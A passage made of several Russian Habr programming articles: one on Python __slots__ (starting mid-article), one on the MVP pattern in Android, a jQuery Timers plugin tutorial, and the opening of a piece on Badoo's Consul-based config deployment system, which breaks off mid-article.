К счастью, есть выход —**слоты,**ониобеспечивают специальный механизм уменьшения размера объектов. Это концепция оптимизации памяти на объектах. Также, использование **слотов** позволяет нам ускорить доступ к атрибутам.
**Пример объекта python без слотов:**
```
class NoSlots:
def __init__(self):
self.a = 1
self.b = 2
if __name__ == "__main__":
ns = NoSlots()
print(ns.__dict__)
```
**Выход:**
```
{'a': 1, 'b': 2}
```
Поскольку каждый объект в Python содержит динамический словарь, который позволяет добавлять атрибуты. Для каждого объекта экземпляра у нас будет экземпляр словаря, который потребляет больше места и тратит много оперативной памяти. В Python нет функции по умолчанию для выделения статического объема памяти при создании объекта для хранения всех его атрибутов.
Использование **slots** уменьшает потери пространства и ускоряет работу программы, выделяя пространство для фиксированного количества атрибутов.
**Пример объекта python со слотами:**
```
class WithSlots(object):
__slots__ = ['a', 'b']
def __init__(self):
self.a = 1
self.b = 2
if __name__ == "__main__":
ws = WithSlots()
print(ws.__slots__)
```
**Выход:**
```
['a', 'b']
```
**Пример python, если мы используем dict:**
```
class WithSlots:
__slots__ = ['a', 'b']
def init(self):
self.a = 1
self.b = 2
if __name__ == "__main__":
ws = WithSlots()
print(ws.__dict__)
```
**Выход:**
```
AttributeError: объект WithSlots не имеет атрибута '__dict__'
```
Как мы видим, будет вызвана ошибка AttributeError. Не сложно догадаться, что раз мы не можем вызвать **dict**, то и создавать новые атрибуты мы не сможем.
**Это что касается потребляемой памяти, а теперь давайте рассмотрим скорость доступа к атрибутам:**
Напишем небольшой тест:
```
class Foo(object):
__slots__ = ('foo',)
class Bar(object):
pass
def get_set_delete(obj):
obj.foo = 'foo'
obj.foo
del obj.foo
def test_foo():
get_set_delete(Foo())
def test_bar():
get_set_delete(Bar())
```
И с помощью модуля **timeit** оценим время выполнения:
```
>>> import timeit
>>> min(timeit.repeat(test_foo))
0.2567792439949699
>>> min(timeit.repeat(test_bar))
0.34515008199377917
```
Таким образом, получается, что класс с использованием **slots** примерно на 25-30 % быстрее на операциях доступа к атрибутам. Конечно, этот показатель может меняться в зависимости от версии языка или ОС на которой запускается программа.
Как мы видим, использовать слоты довольно просто, но есть и некоторые подводные камни. Например, **наследование**. Нужно понимать, что значение **slots** наследуется, однако это не предотвращает создание **dict**.
Таким образом, дочерние классы не будут запрещать добавлять динамические атрибуты, и добавляться они будут в\_\_dict\_\_, со всеми вытекающими расходами (по памяти и производительности).
```
class SlotsClass:
__slots__ = ('foo', 'bar')
class ChildSlotsClass(SlotsClass):
pass
>>> obj = ChildSlotsClass()
>>> obj.__slots__
('foo', 'bar')
>>> obj.foo = 5
>>> obj.something_new = 3
>>> obj.__dict__
{'something_new': 3}
```
Если нам нужно, чтобы и дочерний класс тоже был ограничен слотами, там придётся и в нём присвоить значение атрибуту **slots**. Кстати, дублировать уже указанные в родительском классе слоты не нужно.
```
class SlotsClass:
__slots__ = ('foo', 'bar')
class ChildSlotsClass(SlotsClass):
__slots__ = ('baz',)
>>> obj = ChildSlotsClass()
>>> obj.foo = 5
>>> obj.baz = 6
>>> obj.something_new = 3
Traceback (most recent call last):
File "python", line 12, in
AttributeError: 'ChildSlotsClass' object has no attribute 'something\_new'
```
Гораздо хуже обстоит дело с **множественным наследованием**. Если у нас есть два родительских класса, у каждого из которых определены слоты, то попытка создать дочерний класс, обречена на провал.
```
class BaseOne:
__slots__ = ('param1',)
class BaseTwo:
__slots__ = ('param2',)
>>> class Child(BaseOne, BaseTwo): __slots__ = ()
```
**Выход:**
`Traceback (most recent call last):
File "", line 1, in
class Child(BaseOne, BaseTwo): \_\_slots\_\_ = ()
TypeError: Error when calling the metaclass bases
multiple bases have instance lay-out conflict`
Один из способов решения этой проблемы — **абстрактные классы**. Но об этом думаю поговорим в следующий раз.
**Ну и под конец важные выводы:**
* Без переменной словаря `dict`, экземплярам нельзя назначить атрибуты, не указанные в определении `slots`. При попытке присвоения имени переменной, не указанной в списке, вы получите ошибку `AttributeError`. Если требуется динамическое присвоение новых переменных, добавьте значение `'dict'` в объявлении атрибута `slots`.
* Атрибуты `slots`, объявленные в родительских классах, доступны в дочерних классах. Однако дочерние подклассы получат `dict`, если они не переопределяют `slots`.
* Если класс определяет слот, также определенный в базовом классе, переменная экземпляра, определенная слотом базового класса, недоступна. Это приводит к неоднозначному поведению программы.
* Атрибут `slots` не работает для классов, наследованных, от встроенных типов *переменной длины*, таких как `int`, `bytes` и `tuple`.
* Атрибуту `slots` может быть назначен любой нестроковый итерируемый объект. Могут использоваться словари, значениям, соответствующим каждому ключу, может быть присвоено особое значение.
* Назначение `class` работает, если оба класса имеют одинаковые `slots`.
* Может использоваться множественное наследование с несколькими родительскими классами с разделением на слоты, но только одному родительскому элементу разрешено иметь атрибуты, созданные с помощью слотов (другие классы должны иметь макеты пустых слотов), нарушение вызовет исключение `TypeError`.
---
Надеюсь всё было просто и понятно, и теперь вы чаще станете использовать **slots** у себя в проектах.
Жду вашего мнения на эту тему, всем удачи!
[Мой GitHub](https://github.com/Ryize) | https://habr.com/ru/post/686220/ | null | ru | null |
# Расширяемый код Android-приложений с MVP
*От переводчика: — я давненько интересуюсь тем, как сделать код Android-приложений чище, и это, наверное, первая статья, после которой у меня не возникло мыслей: "Зачем вот это вот все?" и "Он вообще пробовал когда-то это использовать в жизни?" Поэтому решил перевести, может, еще кому-то будет полезно*.
Написать Hello World всегда легко. Код выглядит просто и прямолинейно, и кажется, что SDK очень адаптирована под ваши нужды. Но если у вас есть опыт написания более сложных Android-приложений, вы знаете, что с рабочим кодом все не так. Можно провести часы за попыткой понять, почему ваша корзина покупок не обновляется после изменения ориентации телефона, если недоступен WiFi. Вы предполагаете, что решением проблемы, возможно, будет добавить ещё один `if` в 457-строчном методе `onCreate()` вашей активити — где-то между тем кодом, который исправляет падение на самсунгах с Android 4.1 на борту, и тем, который показывает купон на 5$ в день рождения пользователя. Что ж, есть способ получше.
Мы в Remind (*прим. пер.* — название компании, где работает автор) выкатываем новые функции каждые две недели, и для того чтобы поддерживать эту скорость и высокое качество продукта, нужен способ сохранять код простым, поддерживаемым, разделённым (*прим. пер.* — "decoupled", в смысле слабой связанности) и тестируемым. Использование архитектурного паттерна MVP позволяет нам делать это и сосредоточиваться на самой значимой части нашего кода — нашей бизнес-логике.
[MVP](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter), или Model-View-Presenter, это один из нескольких паттернов, который способствует разделению ответственности при реализации пользовательского интерфейса. В каждом из этих паттернов роли слоев слегка отличаются. Целью этой статьи не является описание отличий между паттернами, а показать, как это можно применить на андроиде (по аналогии с современными UI-фреймворках, такими как [Rails](http://guides.rubyonrails.org/getting_started.html) и [iOS](https://developer.apple.com/library/ios/documentation/General/Conceptual/DevPedia-CocoaCore/MVC.html)), и как от этого выиграет ваше приложение.
Пример кода, который иллюстрирует большинство подходов, описанных далее, вы можете найти здесь:
<https://github.com/remind101/android-arch-sample>
Олдскульный Android
===================
Разделение ответственности, которое подразумевается Android-фреймворком, выглядит так: **Модель** может быть любым POJO, **Представление** — это XML-разметка, а фрагмент (или изначально активити) выступает в роли **Контроллера/Презентера**. В теории это работает довольно неплохо, но как только ваше приложение разрастается, в Контроллере появляется много кода, относящегося к Представлению. Все потому, что не так много можно сделать с XML, так что вся привязка данных (дата-биндинг), анимации, обработка ввода и т. д. производится во фрагменте, наряду с бизнес-логикой.
Все становится ещё хуже, когда сложные элементы интерфейса размещаются в списках или гридах (*прим. пер.* — имеет в виду GridView/GridLayout, да и вообще "сеточные элементы"). Теперь на адаптер ложится ответственность не только хранить код представления и контроллера для всех этих элементов, но и управлять ими как коллекцией. Так как все эти элементы сильно связаны, их становится очень трудно поддерживать и ещё сложнее тестировать.
Вводим Model-View-Presenter
===========================
MVP предоставляет нам возможность выделить весь тот скучный низкоуровневый Android-код, который нужен для отображения нашего интерфейса и взаимодействия с ним, в **Представление**, а более высокоуровневую бизнес-логику того, что наше приложение должно делать, выселить в **Презентер**.
Для достижения этого на андроиде надо рассматривать активити или фрагмент как слой представления, и предоставить легковесный презентер для того, чтобы контролировать представление. Самое важное — определить ответственность каждого слоя, и стандартизировать интерфейс между ними. Вот общее описание разделения, которое весьма неплохо работает у нас:
Представление (активити или фрагмент) отвечает за:
1. Создание экземпляра презентера и механизм его присоединения/отсоединения;
2. Оповещение презентера о важных для него событиях жизненного цикла;
3. Сообщение презентеру о входных событиях;
4. Размещение вьюх и соединение их с данными;
5. Анимации;
6. Отслеживание событий;
7. Переход на другие экраны.
Презентер отвечает за:
1. Загрузку моделей;
2. Сохранение ссылки на модель и состояния представления;
3. Форматирование того, что должно быть отображено на экране, и указание представлению отобразить это;
4. Взаимодействие с репозиториями (база данных, сеть и т. д.) (*прим. пер.* Repository — это паттерн, на всякий случай);
5. Определение необходимых действий, когда получены входные события от представления.
Вот пример того, каким может быть интерфейс между представлением и презентером:
```
interface MessageView {
// Методы представления должны звучать как указания, так как представление только вызывает инструкции у презентера
// Методы для обновления представления
void setMessageBody(String body);
void setAuthorName(String name);
void showTranslationButton(boolean shouldShow);
// Методы навигации
void goToUserProfile(User user);
}
interface MessagePresenter {
// Методы презентера в основном должны быть коллбеками, так как представление сообщает презентеру о событиях
// Методы событий жизненного цикла
void onStart();
// Методы входных событий
void onAuthorClicked();
void onThreeFingersSwipe();
}
```
Есть пара интересных моментов, которые стоит рассмотреть в связи с этим интерфейсом:
* Методы обновления представления должны быть простыми и нацеленными на отдельный элемент. Это лучше, чем иметь один метод `setMessage(Message message)`, который будет обновлять все, так как форматирование того, что надо отобразить, должно быть ответственностью презентера. Например, в будущем вы захотите отображать "Вы" вместо имени пользователя, если текущий пользователь является автором сообщения, а это является частью бизнес-логики.
* Методы событий жизненного цикла презентера просты и не должны отображать истинный (переусложненный) системный жизненный цикл. Вы не обязаны обрабатывать какой бы то ни было из них. Но если хотите, чтобы презентер совершал какие-то действия на разных этапах этого цикла, можете обрабатывать в нем столько, сколько считаете нужным.
* Входные события у презентера должны оставаться высокоуровневыми. Например, если вы хотите определять сложный жест, например, трехпальцевый свайп, это и другие события должны определяться представлением.
* Можно обратить внимание на методы `MessagePresenter.onAuthorClicked()` и `MessageView.goToAuthorProfile()`. Реализация представления, вероятно, будет иметь клик лисенер, который будет вызывать данный метод презентера, а тот в свою очередь будет вызывать `goToAuthorProfile()`. Не нужно ли убрать все это и переходить в профиль автора непосредственно из клик лисенера. Нет! Решение, переходить ли в профиль пользователя при нажатии на его имя, является частью вашей бизнес-логики, и за это отвечает презентер.
Как выяснено на практике, если код вашего презентера содержит код Android-фреймворка, а не только pure Java, вероятно, вы что-то делаете неверно. И соответственно, если ваши представления нуждаются в ссылке на модель, видимо, вы также делаете что-то неправильно.
Как только возникнет вопрос тестов, **большинство кода, который вам необходимо протестировать, будет в презентере**. Что круто, так это то, что этому коду не нужен Android для запуска, так как у него есть только ссылки на интерефейс представления, а не на его реализацию в контексте Android. Это значит, что вы можете просто мокнуть интерфейс представления и написать чистые JUnit-тесты для бизнес-логики, проверяющие правильность вызова методов у мокнутого представления. [Вот так](https://github.com/remind101/android-arch-sample/blob/master/app/src/test/java/com/remind101/archexample/presenters/CounterPresenterTest.java) теперь выглядят наши тесты.
Как насчёт списков?
===================
До настоящего момента мы предполагали, что наши представления — это активити и фрагменты, но в реальности они могут быть чем угодно. У нас довольно неплохо получилось работать со списками, имея **ViewHolder, реализующий интерфейс представления** (как `RecyclerView.ViewHolder`, так и обычный старый ViewHolder для использования в связке с ListView). В адаптере вам всего лишь нужна базовая логика для обработки присоединения/отсоединения презентеров (пример всего этого есть в гит-репозитории).
Если вы посмотрите на пример экрана, содержащего список сообщений, прогресс загрузки и пустую вьюху, разделение ответственности будет следующим:
* Презентер списка ответственен за загрузку сообщений и логику отображения вьюх списка/прогресса/пустой заглушки;
* Фрагмент отвечает за реализацию логики отображения вьюх списка/прогресса/заглушки и перехода на другие экраны;
* Адаптер сопоставляет презентеры их ViewHolder-ам;
* Презентер сообщения отвечает за бизнес-логику отдельного сообщения;
* ViewHolder ответственен за отображение сообщения.
Все эти компоненты слабо связаны и могут быть протестированы отдельно друг от друга.
Более того, если у вас есть экран списка сообщений и экран подробностей, вы можете переиспользовать тот же презентер сообщения и просто иметь две разные реализации интерфейса представления (во ViewHolder-е и фрагменте). Это сохраняет ваш код DRY (*прим. пер.* — "Don't Repeat Yourself", или "Не повторяйтесь", кто не знает).
Подобным образом, интерфейс представления могут реализовывать кастомные вьюхи. Это позволяет вам использовать MVP в кастомных виджетах, чтобы переиспользовать это в разных частях приложения, или же просто разбивать сложные интерфейсы на блоки попроще.
MVP и изменение конфигурации
============================
Если вы уже какое-то время пишете под Android, вы знаете, сколько боли доставляет поддержка смены ориентации и конфигурации:
* Фрагмент/активити должны уметь восстанавливать свое состояние. Каждый раз при работе с фрагментом вы должны спрашивать себя, как эта штука должна действовать при смене ориентации, что надо поместить в бандл saveInstanceState и т. д.
* Долгие операции в фоновых потоках очень сложно сделать правильно. Одна из самых популярных ошибок — хранить ссылку на фрагмент/активити в фоновом потоке, так как ему надо обновить UI после завершения работы. Это приводит к утечке памяти (и, вероятно, падению приложения из-за увеличения потребления памяти), а также к тому, что новая активити никогда не получит колбек и, соответственно, не обновит UI.
Правильное использование MVP может решить этот вопрос без необходимости вообще задумываться об этом. Так как у презентеров нет сильной ссылки на текущий UI, они очень легковесные и могут быть восстановлены при смене ориентации! Так как презентер хранит ссылку на модель и состояние представления, он может восстановить нужное состояние представления после смены ориентации. Вот примерное описание того, что происходит при повороте экрана, если используется данный паттерн:
* Изначально активити создана (назовем её "первый экземпляр");
+ Создаётся новый презентер;
+ Презентер привязывается к активити;
* Пользователь нажимает кнопку "Скачать";
+ В презентере запускается долгая операция;
* Меняется ориентация;
+ Презентер отвязывается от первого экземпляра активити
+ На первый экземпляр активити больше нет ссылок, и теперь она доступна сборщику мусора;
+ Презентер сохранен, фоновая операция продолжается;
+ Создаётся второй экземпляр активити;
+ Второй экземпляр активити привязывается к презентеру.
* Завершается загрузка;
+ Презентер обновляет представление (второй экземпляр активити).
Как сохранять фрагменты между сменами ориентации, можно увидеть в репозитории, в классе `PresenterManager`.
Итог
====
Да, это конец. Надеюсь, получилось продемонстрировать, как разделение ответственности наподобие MVP поможет вам писать поддерживаемый и тестируемый код.
Резюмируя:
* Отделяйте вашу бизнес-логику, вынося её в голый java-объект презентера;
* Потратьте время на чистый интерфейс между вашими презентерами и представлениями;
* Пусть ваши активити, фрагменты и кастомные вьюхи реализуют интерфейс представления;
* Для списков реализовывать интерфейс представления должен ViewHolder;
* Тщательно тестируйте ваши презентеры;
+ Сохраняйте презентеры при смене ориентации.
Реализацию вышеописанного можно найти в [репозитории ArchExample](https://github.com/remind101/android-arch-sample).
Также есть множество библиотек, которые могут помочь вам использовать такой подход, например, [Mosby](http://hannesdorfmann.com/mosby/), [Flow и Mortar](https://corner.squareup.com/2014/01/mortar-and-flow.html), или [Nucleus](https://github.com/konmik/nucleus). Советую их рассмотреть. | https://habr.com/ru/post/278769/ | null | ru | null |
# jQuery Timers
При проектировании интерфейсов пользователя когда-нибудь обязательно встанет задача использования таймеров, и в этой статье я хочу рассказать о замечательном плагине **jQuery Timers**, который значительно облегчит работу по созданию и применению таймеров в Ваших приложениях.
**jQuery Timers** — это высокоуровневая абстракция методов setTimeout и setInterval. Используя **jQuery Timers**, Вы сможете «прикреплять» таймеры к элементам непосредственно в Вашем коде и использовать еще некоторые возможности.
Как обычно, сначала посмотрим пример, а потом разберем исходный код.
Пример и исходный код скачать можно [здесь](http://x3k.name/habrahabr/jquery.timers.html)
**Пример №1** — демонстрирует неуправляемый таймер, который просто отсчитывает секунды.
**Пример №2** — таймер от 0 до 15 секунд с возможностью запуска и остановки.
**Пример №3** — «одноразовый» таймер, который выполняет некую функцию по истечении определенного времени.
Примеры написаны таким образом, чтобы продемонстрировать работу всех трех методов, которые реализует плагин.
HTML и CSS-коды разбирать не имеет смысла — они слишком просты. Посмотреть их можно в исходнике. Подробнее разберем только js-код.
Итак, код примера №1:
> `1. $("#example\_1").everyTime(1000, function(i) {
> 2. $(this).text(i);
> 3. });
> \* This source code was highlighted with Source Code Highlighter.`
Мы выбрали элемент с идентификатором #example\_1 и «прикрепили» к нему таймер, который будет срабатывать каждые 1000 миллисекунд. Соответственно, каждую секунду будет отрабатывать функция, которая вставит в выбранный элемент очередную цифру. В примере мы передали методу только два обязательных аргумента. Есть еще и необязательные, но о них будет рассказано ниже.
Посмотрим код примера №2:
> `1. $("#start").click(function() {
> 2. $("#example\_2").everyTime(1000, 'timer2', function(i) {
> 3. $(this).text(i);
> 4. }, 15);
> 5. });
> 6. $("#stop").click(function() {
> 7. $("#example\_2").stopTime('timer2');
> 8. });
> \* This source code was highlighted with Source Code Highlighter.`
При клике на кнопке с идентификатором #start мы выбираем элемент с идентификатором #example\_2 и вызываем уже знакомый нам метод everyTime. Но при этом передаем ему кроме обязательных аргументов, еше два. timer2 — это «метка» соответствующего таймера, а число 15 — количество раз, которое должен отработать таймер до остановки (если конечно раньше его не остановит какое-либо другое событие).
При клике на кнопке с идентификатором #stop мы снова выбираем элемент с идентификатором #example\_2 и вызываем метод stopTime, передавая ему «метку» таймера, который должен быть остановлен.
И наконец пример №3:
> `1. $("#example\_3").oneTime("30s", function() {
> 2. $(this).hide(2500);
> 3. });
> \* This source code was highlighted with Source Code Highlighter.`
«Одноразовый» таймер, который прикреплен к элементу с идентификатором #example\_3. Первый аргумент — время, через которое будет вызвана соответствующая функция. Обратите внимание на такую «мелочь» — время может быть указано как в миллисекундах — 30000, так и в человекопонятном виде, просто — 30s.
А теперь более подробное описание всех трех методов.
**everyTime(interval, [label], fn, [times], [belay])**
в качестве аргументов метода everyTime выступает определение функции (fn: Function), как события, которое будет выполняться через определенные промежутки времени (interval: Integer | String), необходимое количество раз [times = 0: Integer]. Если аргумент times установлен в 0, функция будет вызываться неограниченное количество раз. Аргумент [label = interval: String] — «метка» соответствующего таймера. [belay] — событие, возникающее, если предыдущая итерация по каким-то причинам была не завершена.
**oneTime(interval, [label], fn)**
в качестве аргументов метода oneTime выступает определение функции (fn: Function), которая будет вызвана через некоторый промежуток времени (interval: Integer | String) после того, как элемент будет добавлен в объект jQuery. Аргумент [label = interval: String] — «метка» соответствующего таймера.
**stopTime([label], [fn])**
метод останавливает выполнение всех событий, выполняемых по таймеру, имеющему соответствующую метку [label: Integer | String] и прекращает выполнение функций [fn: Function]. Если ни один из аргументов не передан, метод останавливает все выполняющиеся по таймеру события для элементов объекта jQuery. Если передан только аргумент [fn] — будут остановлены все события, вызывающие эту функцию независимо от метки. Наконец, если передан только аргумент [label] — будут остановлены все события, связанные с этой меткой при инициализации.
[ТюТю](http://www.linkexchanger.su/2008/71.html) | https://habr.com/ru/post/42809/ | null | ru | null |
# Run, config, run: как мы ускорили деплой конфигов в Badoo
Файлы конфигурации (конфиги) — неотъемлемая часть большинства приложений, но, как показывает практика, это не самая популярная тема для обсуждения. Чаще всего разговоры о конфигах ограничиваются обсуждением работы с ними непосредственно в коде: как их структурировать, использовать переменные окружения или нет, где хранить пароли и т. п.
На мой взгляд, есть и другая сторона работы с конфигами, которая заслуживает внимания, — развёртывание (деплой). За свою карьеру я видел довольно много способов деплоя конфигов и уверен, что каждый может узнать об этом что-то новое.
Несколько лет назад я работал над системой, которая позволила нам ускорить процесс деплоя конфигов на 1000+ серверов с минуты до нескольких секунд.
Если вам интересно узнать, как устроен процесс деплоя конфигов в Badoo и какие инструменты мы для этого используем, добро пожаловать под кат.
---
Любой инструмент предназначен для решения конкретной задачи. И прежде чем перейти к описанию наших инструментов деплоя конфигов, я расскажу небольшую предысторию.
### Случай из жизни
За прошедшие годы в Badoo было написано более ста различных сервисов, и их количество продолжает расти. При этом у каждого сервиса может быть от двух-трёх до нескольких сотен инстансов, а значит, в нашем коде должна быть возможность оперативно убирать запросы с определённого инстанса. Ведь как гласит закон Мёрфи, *«если что-то может пойти не так, оно пойдёт не так».*
Самый простой пример — один из инстансов сервиса начал тупить, следовательно, нам нужно временно убрать с него трафик, чтобы избежать эффекта снежного кома (когда время выполнения запроса увеличивается, запросы начинают копиться в очереди, что также влияет на время выполнения запроса, и т. д.).
Другой пример — плановые работы, например обновление сервиса. В этом случае мы заранее знаем, что сервис будет недоступен некоторое время и нет смысла отправлять запросы к нему.
Для отключения сервисов мы используем свою систему с говорящим названием «Выключалка хостов» (disable hosts). Принцип её работы довольно прост:
* выбираем в веб-интерфейсе сервисы, которые нужно отключить (или, наоборот, включить);
* нажимаем на кнопку Deploy;
* изменения сохраняются в базе данных и затем доставляются на все машины, на которых выполняется PHP-код.
В коде при подключении к сервису стоит проверка вида:
```
if (\DownChecker\Host::isDisabled($host)) {
$this->errcode = self::ERROR_CONNECT_FAILED;
return false;
}
```
В первой версии «Выключалки хостов» для доставки изменений на серверы мы решили использовать нашу основную систему деплоя конфигов под названием mcode. Она по SSH выполняет определённый набор команд с дополнительной обвязкой этого процесса.
Процесс деплоя разбит на несколько шагов:
* упаковываем конфиги в tar-архив;
* копируем архив на сервер через rsync или scp;
* распаковываем архив в отдельную директорию;
* переключаем симлинк на новую директорию.
Особенность mcode — в том, что она ждёт завершения выполнения текущего шага на каждом сервере, прежде чем перейти к следующему. С одной стороны, это даёт больше контроля на каждом этапе и гарантирует, что на 99% серверов изменения доедут примерно в один момент времени (псевдоатомарность). С другой — проблемы с одним из серверов приводят к тому, что процесс деплоя зависает, ожидая завершения выполнения текущей команды по тайм-ауту. Если на каком-то сервере несколько раз подряд не удалось выполнить команду, то он временно исключается из раскладки. Это позволяет уменьшить влияние проблемных серверов на общую продолжительность деплоя.
Таким образом, mcode не даёт никаких гарантий высокой скорости доставки изменений. Можно лишь спрогнозировать её максимальную продолжительность, как сумму таймаутов всех шагов.
Теперь представим, что у нас начались проблемы с каким-либо сервисом. Мы добавили его в список отключённых хостов, но в процессе раскладки конфига один из серверов стал временно недоступен (например, возникли проблемы с сетью). Пока система ждёт завершения текущей команды по тайм-ауту, мы теряем драгоценное время.
Стало понятно, что наш традиционный способ деплоя конфигов в этом случае не подходит и нужно искать замену. Нам важна высокая скорость доставки изменений, а для этого они должны деплоиться на каждый сервер независимо друг от друга. При этом мы готовы к тому, что на части машин временно будет устаревшая версия конфига.
### В поисках альтернативного транспорта
Тут может возникнуть резонный вопрос: зачем изобретать велосипед, если можно использовать классическую схему с базой данных (БД) и кешированием?
В целом это рабочая схема, но, на мой взгляд, она проигрывает схеме с файлами по ряду причин:
* использование БД и кеша — это дополнительная завязка на внешний сервис, а значит, ещё одна потенциальная точка отказа;
* чтение из локального файла всегда быстрее запроса по сети, а нам, как бы громко это ни звучало, важна каждая миллисекунда;
* ещё одним плюсом чтения из файла является то, что весь конфиг по сути является статическим массивом, а значит, после первого исполнения он осядет в OPCache, что даст небольшой прирост производительности.
Но схему с базой данных можно немного доработать, использовав вместо непосредственного чтения из первоисточника (базы данных) скрипт, который запускается на каждом сервере с заданной периодичностью (например, через cron), считывает нужные данные из базы данных и обновляет конфиг. Думаю, многие из вас использовали такой подход, например, для прогрева кеша.
Но в этой схеме нам не понравилась идея с запросами в цикле. У нас около 2000 серверов, на которых может выполняться PHP-код. Если мы будем делать запрос в базу/кеш хотя бы один раз в секунду, то это будет создавать довольно большой фон запросов (2k rps), а сами данные при этом обновляются не так часто. На этот случай есть решение — событийная модель, например шаблон проектирования [Publisher-Subscriber](https://ru.wikipedia.org/wiki/%D0%98%D0%B7%D0%B4%D0%B0%D1%82%D0%B5%D0%BB%D1%8C-%D0%BF%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D1%87%D0%B8%D0%BA_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) (PubSub). Из популярных решений можно было использовать Redis, но у нас он не прижился (для кеширования мы используем Memcache, а для очередей у нас есть своя отдельная система).
Зато прижился [Consul](https://www.consul.io/), у которого есть [механизм отслеживания изменений](https://www.consul.io/docs/dynamic-app-config/watches) (watches) на базе блокирующих запросов. Это в целом похоже на PubSub и вписывается в нашу схему с обновлением конфига по событию. Мы решили сделать прототип нового транспорта на базе Consul, который со временем эволюционировал в отдельную систему под названием AutoConfig.
### Как работает AutoConfig
Общая схема работы выглядит следующим образом:
* разработчик вызывает специальный метод, который обновляет значение ключа в базе данных и добавляет ключ в очередь на деплой;
* в облаке работает скрипт, который исключает пачку ключей из очереди и записывает их в Consul; помимо самих ключей, в Consul хранится специальная индексная карта со списком всех ключей (о ней я расскажу чуть позже);
* на каждом сервере запущен Consul watch, который отслеживает изменения индексной карты и вызывает специальный скрипт-обработчик, когда она обновляется;
* обработчик записывает изменения в файл.
Со стороны кода работа с системой выглядит довольно просто:
**Обновление ключа**
```
$record = \AutoConfig\AutoConfigRecord::initByKeyData('myKey', 'Hello, Habr!', 'Eugene Tupikov');
$storage = new \AutoConfig\AutoConfigStorage();
$storage->deployRecord($record);
```
**Чтение ключа**
```
$reader = new \AutoConfig\AutoConfigReader();
$config = $reader->getFromCurrentSpace('myKey');
```
**Удаление ключа**
```
$storage = new \AutoConfig\AutoConfigStorage();
$storage->removeKey('example');
```
#### Подробнее про Consul watch
Consul watch реализован с использованием [блокирующих запросов в HTTP API](https://www.consul.io/api-docs/features/blocking), работу которых лучше продемонстрировать на примере отслеживания изменений ключа.
Первым делом необходимо создать новый ключ. Для этого открываем терминал и выполняем следующую команду
```
curl -X PUT --data 'hello, habr!' http://127.0.0.1:8500/v1/kv/habr-key
```
|
| |
Затем отправляем запрос на чтение нашего ключа
```
curl -v http://127.0.0.1:8500/v1/kv/habr-key
```
API обрабатывает запрос и возвращает ответ, содержащий HTTP-заголовок **X-Consul-Index** с уникальным идентификатором, который соответствует текущему состоянию нашего ключа.
```
...
...
< X-Consul-Index: 266834870
< X-Consul-Knownleader: true
...
...
<
[
{
"LockIndex": 0,
"Key": "habr-key",
"Flags": 0,
"Value": "aGVsbG8sIGhhYnIh",
"CreateIndex": 266833109,
"ModifyIndex": 266834870
}
]
```
|
| |
Мы отправляем новый запрос на чтение и дополнительно передаем значение из заголовка **X-Consul-Index** в параметре запроса **index**
```
curl http://127.0.0.1:8500/v1/kv/habr-key?index=266834870
Ждем изменений ключа...
```
|
| |
При виде параметра index API начинает ждать изменений нашего ключа и ждёт до тех пор, пока время ожидания не превысит заданного тайм-аута.
Затем открываем новую вкладку терминала и отправляем запрос на обновление ключа
```
curl -X PUT --data 'updated value' http://127.0.0.1:8500/v1/kv/habr-key
```
|
| |
Возвращаемся на первую вкладку и видим, что запрос на чтение вернул обновленное значение (изменились ключи Value и ModifyIndex):
```
[
{
"LockIndex": 0,
"Key": "habr-key",
"Flags": 0,
"Value": "dXBkYXRlZCB2YWx1ZQ==",
"CreateIndex": 266833109,
"ModifyIndex": 266835734
}
]
```
|
| |
При вызове команды
```
consul watch -type=key -key=habr_key
```
|
| |
Consul watch автоматически выполнит указанную выше последовательность запросов и вызовет обработчик в случае изменения значения ключа.
#### Зачем нужна индексная карта
Помимо отслеживания изменений конкретного ключа, можно подписаться на изменения ключей с определённым префиксом. Предположим, что все наши ключи имеют общий префикс auto\_config. Если мы запустим команду
```
consul watch -type=keyprefix -prefix=auto_config/
```
|
| |
нас будет ждать сюрприз. При изменении *любого* из ключей будет возвращён список *всех* ключей. Мы понимали, что количество ключей со временем будет только расти, а вместе с ним будет расти и общий размер пересылаемых данных. И это будет создавать нагрузку на сеть, которой можно избежать.
По этому поводу на GitHub уже довольно давно открыт [Issue](https://github.com/hashicorp/consul/issues/2791) и, судя по комментариям, лёд тронулся. Разработчики Consul начали работу над [улучшением подсистемы блокирующих запросов](https://github.com/hashicorp/consul/issues/6366), что должно решить описанную выше проблему.
Чтобы обойти указанное ограничение, мы решили хранить в Consul индексную карту со списком всех доступных ключей с хешем текущего значения. Изменения этой карты и отслеживает Consul Watch.
Она имеет следующий формат:
```
return [
'value' => [
'version' => 437036,
'keys' => [
'my/awesome/key' => '80003ff43027c2cc5862385fdf608a45',
...
...
],
'created_at' => 1612687434
]
]
```
|
| |
В случае если карта обновилась, обработчик:
* считывает текущее состояние карты с диска;
* находит изменившиеся ключи (для этого и нужен хеш значения);
* вычитывает через HTTP API актуальные значения изменившихся ключей и обновляет нужные файлы на диске;
* сохраняет новую индексную карту на диск.
#### И ещё немного про Consul
Consul — отличная система, но за годы её использования в качестве транспорта для AutoConfig мы обнаружили ряд ограничений, под которые пришлось адаптировать нашу систему.
**Ограничение размера значения ключа (и не только)**
Consul — это распределённая система, и для достижения согласованности используется протокол Raft. Для стабильной работы протокола в Consul установлен максимальный размер значения одного ключа — 512 Кб. Его можно изменить, воспользовавшись [специальной опцией](https://www.consul.io/docs/agent/options#kv_max_value_size), но делать это крайне не рекомендуется, так как изменение может привести к непредсказуемому поведению всей системы.
Для атомарной записи изменённых ключей и индексной карты мы используем [механизм транзакций](https://www.consul.io/api-docs/txn). Аналогичное ограничение в 512 Кб установлено и на размер одной транзакции. А, помимо него, есть ограничение на количество операций в рамках одной транзакции — 64.
Чтобы обойти эти ограничения, мы сделали следующее:
* разбили индексную карту на несколько частей (по 1000 ключей в каждой) и обновляем только части, содержащие изменённые ключи;
* ограничили максимальный размер одного ключа AutoConfig 450 Кб, чтобы оставить место для шардов индексной карты (значение выбрано опытным путём);
* доработали скрипт, обрабатывающий очередь на деплой таким образом, что он
+ сначала вычитывает N ключей из очереди и проверяет их суммарный размер;
+ если размер не превышает заданный предел, то деплоит все ключи разом, а в противном случае деплоит ключи по одному.
**Отсутствие встроенной репликации**
